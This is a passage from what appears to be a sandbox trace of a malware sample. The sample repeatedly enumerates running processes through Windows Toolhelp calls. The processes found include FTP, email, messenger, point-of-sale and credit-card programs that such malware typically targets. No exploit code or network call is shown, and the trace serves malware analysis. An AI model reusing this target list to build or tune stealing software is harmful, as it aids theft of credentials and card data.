lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0250.372] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0250.374] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0250.376] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0250.378] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0250.445] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0250.447] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0250.449] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0250.451] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0250.453] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0250.455] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0250.459] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0250.461] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0250.464] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0250.466] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0250.468] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0250.471] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0250.473] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0250.475] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0250.478] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0250.480] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0250.482] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0250.484] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0250.487] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0250.538] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0250.542] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0250.544] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0250.546] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0250.548] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0250.551] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0250.553] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0250.555] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0250.558] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0250.559] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0250.561] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0250.563] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0250.564] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0250.566] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0250.567] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0250.569] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0250.570] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0250.572] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0250.573] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0250.633] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0250.634] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0250.636] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0250.637] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0250.639] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0250.640] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0250.642] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0250.643] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0250.645] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0250.648] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0250.650] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0250.651] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0250.653] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0250.654] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0250.656] CloseHandle (hObject=0x13b0) returned 1 [0250.656] Sleep (dwMilliseconds=0x64) [0250.692] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0250.702] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.704] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0250.705] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0250.757] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.758] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0250.760] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.762] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0250.764] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0250.766] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0250.767] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.770] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.771] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0250.773] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.775] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.777] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.778] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.780] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.781] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.782] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.784] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0250.785] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0250.787] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0250.788] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.789] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0250.791] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0250.792] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0250.794] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, 